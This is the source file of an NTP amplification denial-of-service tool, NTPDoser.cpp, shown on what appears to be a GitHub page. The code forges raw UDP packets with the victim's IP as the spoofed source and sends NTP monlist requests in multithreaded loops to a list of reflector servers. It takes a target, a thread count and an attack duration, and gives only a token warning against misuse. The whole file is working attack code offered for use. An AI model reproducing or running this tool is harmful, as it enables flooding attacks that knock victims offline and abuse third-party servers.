-
Notifications
You must be signed in to change notification settings - Fork 51
Expand file tree
/
Copy pathNTPDoser.cpp
More file actions
378 lines (338 loc) · 8.88 KB
/
NTPDoser.cpp
File metadata and controls
378 lines (338 loc) · 8.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
/*
NTP Doser Code By Drizzle. @2017
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <iostream>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/time.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <pthread.h>
using namespace std;
/*
Define
*/
typedef unsigned int UINT;
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef unsigned char UCHAR;
char ** NTP_SERVERS_ARR;
int NTP_SERVER_COUNT;
char TARGET_IP[200];
int NUM_THREADS;
double SEND_PACKAGE;
int CURRENT_SERVER;
int ATTACK_TIME;
bool EXIT_FLAG;
int ALIVE_THREADS;
struct timeval ATTACK_START_TIME;
/*
udp checksum
*/
unsigned short check_sum(unsigned short *a, int len)
{
unsigned int sum = 0;
while (len > 1) {
sum += *a++;
len -= 2;
}
if (len) {
sum += *(unsigned char *)a;
}
while (sum >> 16) {
sum = (sum >> 16) + (sum & 0xffff);
}
return (unsigned short)(~sum);
}
/*
计算运行时间Fun
*/
double difftimeval(const struct timeval *start, const struct timeval *end)
{
double d;
time_t s;
suseconds_t u;
s = start->tv_sec - end->tv_sec;
u = start->tv_usec - end->tv_usec;
d = s;
d *= 1000000.0;
d += u;
return d;
}
char *strftimeval(const struct timeval *tv, char *buf)
{
struct tm tm;
size_t len = 28;
localtime_r(&tv->tv_sec, &tm);
strftime(buf, len, "%Y-%m-%d %H:%M:%S", &tm);
len = strlen(buf);
sprintf(buf + len, ".%06.6d", (int)(tv->tv_usec));
return buf;
}
char* i2cp(int n)
{
int nLen=sizeof(n);
char* atitle=new char[nLen];
sprintf(atitle,"%d",n);
return atitle;
}
char * GetNtpServers(char filename[])
{
char * NtpServers = NULL;
FILE *fp = NULL;
if((fp = fopen(filename,"r")) == NULL)
{
return NULL;
}
fseek(fp,0,SEEK_END);
ULONG filesize = ftell(fp);
NtpServers = (char *)malloc(filesize);
memset(NtpServers,0,filesize);
fseek(fp,0,SEEK_SET);
if(fread(NtpServers,1,filesize,fp) > filesize)
{
fclose(fp);
return NULL;
}
fclose(fp);
return NtpServers;
}
//分割字符并返回字符数组
char ** GetNtpServersArr(char* s,const char* d)
{
char* s_s=new char[strlen(s)];
strcpy(s_s,s);
//计算字符数组个数
int rows=0;
char *p_str=strtok(s_s,d);
while(p_str)
{
rows+=1;
p_str=strtok(NULL,d);
}
char **strArray=new char*[rows+1];
for(int i=0;i<rows;i++)
{
strArray[i]=NULL;
}
strArray[0]=i2cp(rows); //数组总长度
int index=1;
s_s=new char[strlen(s)];
strcpy(s_s,s);
p_str=strtok(s_s,d);
while(p_str)
{
char* s_p=new char[strlen(p_str)];
strcpy(s_p,p_str);
//添加到二维数组中
strArray[index]=s_p;
index+=1;
p_str=strtok(NULL,d);
}
return strArray;
}
// 发包线程
void* SendNTP(void* args)
{
extern int errno;
int sockfd,n;
sockaddr_in servaddr,cliaddr;
UCHAR ntp_magic[8];
ntp_magic[0] = 0x17;
ntp_magic[1] = 0x00;
ntp_magic[2] = 0x03;
ntp_magic[3] = 0x2A;
ntp_magic[4] = 0x00;
ntp_magic[5] = 0x00;
ntp_magic[6] = 0x00;
ntp_magic[7] = 0x00;
int ret = 0;
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(sockfd < 0)
{
perror("[*] socket error\n");
exit(1);
}
//设置套接字选项IP_HDRINCL
const int on = 1;
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt error!\n");
}
/*获得超级用户的权限*/
if(setuid(getuid()) != 0)
{
printf("[*] setuid error!\n");
}
//准备servaddr,cliaddr结构
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(123);
bzero(&cliaddr, sizeof(cliaddr));
cliaddr.sin_family = AF_INET;
cliaddr.sin_port = htons(65511);
cliaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
/*数据报的长度NTP*/
double pack_len = sizeof(struct ip) + sizeof(struct udphdr) + 8 * sizeof(UCHAR);
char buffer[500];
struct ip *ipp;
struct udphdr *udp;
bzero(buffer,500);
/*开始填充IP数据报的头部*/
ipp = (struct ip *)buffer;
ipp->ip_v=4; /*IPV4*/
ipp->ip_hl=sizeof(struct ip)>>2; /*IP数据报的头部长度*/
ipp->ip_tos=0; /*服务类型*/
ipp->ip_len=pack_len; /*IP数据报的长度*/
ipp->ip_id=0;
ipp->ip_off=0;
ipp->ip_ttl=255;
ipp->ip_p=IPPROTO_UDP;
ipp->ip_src=cliaddr.sin_addr; /*源地址,即攻击目标*/
ipp->ip_dst=servaddr.sin_addr; /*目的地址,即攻击目标*/
ipp->ip_sum=0;
//填充UDP头
udp = (struct udphdr*)(buffer + sizeof(struct ip));
udp->source = cliaddr.sin_port;
udp->dest = servaddr.sin_port;
udp->len = htons(sizeof(struct udphdr) + 8 * sizeof(UCHAR)) ;
//udp->uh_sum = 0;
udp->check =check_sum((unsigned short *)udp,sizeof(struct udphdr));
//填充NTP头
memcpy(buffer + sizeof(struct ip) + sizeof(struct udphdr) , ntp_magic , 8 * sizeof(UCHAR));
ALIVE_THREADS++;
//进入发包循环
while(true)
{
if(EXIT_FLAG)
{
ALIVE_THREADS--;
pthread_exit(NULL);
}
if(CURRENT_SERVER > NTP_SERVER_COUNT) //线程共享使用 CURRENT_SERVER
{
CURRENT_SERVER = 1;
}
servaddr.sin_addr.s_addr = inet_addr(NTP_SERVERS_ARR[CURRENT_SERVER]);
CURRENT_SERVER++; //迅速自增
ipp->ip_dst=servaddr.sin_addr;
sendto(sockfd,buffer,pack_len,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
SEND_PACKAGE++;
//usleep(1);
}
}
// 监控线程
void* Mon(void* args)
{
double time_range;
double attack_time;
double per_second;
struct timeval start,end;
double ntp_buffer_size = sizeof(struct ip) + sizeof(struct udphdr) + 8 * sizeof(UCHAR);
ALIVE_THREADS++;
while(true)
{
if(EXIT_FLAG)
{
ALIVE_THREADS--;
return NULL;
}
int send_package = 0;
SEND_PACKAGE = 0;
gettimeofday(&start, NULL);//获取开始时间
usleep(800000);
gettimeofday(&end, NULL); //获取结束时间
attack_time = difftimeval(&end, &ATTACK_START_TIME); //计算攻击时间
if( attack_time > (ATTACK_TIME * 1000 * 1000) )
{
EXIT_FLAG = true;
printf("[*] Time up & Program Stop ...\n");
pthread_exit(NULL);
}
send_package = SEND_PACKAGE; //取当前时间段发包总数
time_range = difftimeval(&end, &start); //计算运行时间微秒级别
per_second = ( ntp_buffer_size / 1000000 * send_package ) / (time_range / 1000000 );
printf(" [>] Speed %f M/S ,Send %d Pack , Current Server => %d\n",per_second,send_package,CURRENT_SERVER);
}
}
void ShowBanner()
{
printf("*-----------------------------------------------------*\n");
printf(" NTP Doser \n");
printf(" NTP Amplification DoS \n");
printf(" code By Drizzle (https://github.com/DrizzleRisk) \n");
printf("*-----------------------------------------------------*\n");
}
int main(int argc, char* argv[])
{
ShowBanner();
if(argc < 3)
{
printf("USAGE: ./NTP Doser [target] [threads] [time] \n\n");
printf("[target]: Target ipv4 address.\n");
printf("[threads]: Number of threads.\n");
printf("[time]: The duration of the attack (default 30 seconds).\n\n");
printf("Important: This Program needs file \"ntp.list\" in current folder, which has some ntp server ip.\n");
printf("FBI warning: Dont be evil ! plz only use it for testing.\n");
return 0;
}
if(argc >= 4)
{
ATTACK_TIME = atoi(argv[3]); //Attack time (seconds)
}
else
{
ATTACK_TIME = 30; //default 30s
}
strcpy(TARGET_IP,argv[1]);
NUM_THREADS = atoi(argv[2]);
if(NUM_THREADS < 1)
{
NUM_THREADS = 1;
printf("[!] Threads value at least 1\n");
}
SEND_PACKAGE = 0;
printf("[*] Attack Target: %s\n",TARGET_IP);
printf("[*] Threads: %s\n",argv[2]);
printf("[*] Attack Time: %ds\n",ATTACK_TIME);
if(GetNtpServers("ntp.list") == NULL)
{
printf("[?] Can't find file \"ntp.list\"\n");
return 0;
}
//读取 ntpservers list
NTP_SERVERS_ARR = GetNtpServersArr(GetNtpServers("ntp.list"),"\n");
NTP_SERVER_COUNT = atoi(NTP_SERVERS_ARR[0]) - 1;
printf("[*] Load NTP Server: %d\n",NTP_SERVER_COUNT);
EXIT_FLAG = false;
int ti = 0;
pthread_t tids[NUM_THREADS+1];
//创建观测线程
ALIVE_THREADS = 0; //存活线程数
int ret = pthread_create(&tids[ti], NULL, Mon, NULL);
if (ret == 0)
{
printf("[*] Mon Thread created\n");
ti++;
}
//创建发包线程
CURRENT_SERVER = 1;
gettimeofday(&ATTACK_START_TIME, NULL);//获取开始时间
for(ti = 1; ti <= NUM_THREADS; ++ti)
{
ret = pthread_create(&tids[ti], NULL, SendNTP, NULL);
if (ret == 0)
{
printf("[*] Attack Thread [%d] created\n",ti);
usleep(10000);
}
}
pthread_exit(NULL);
}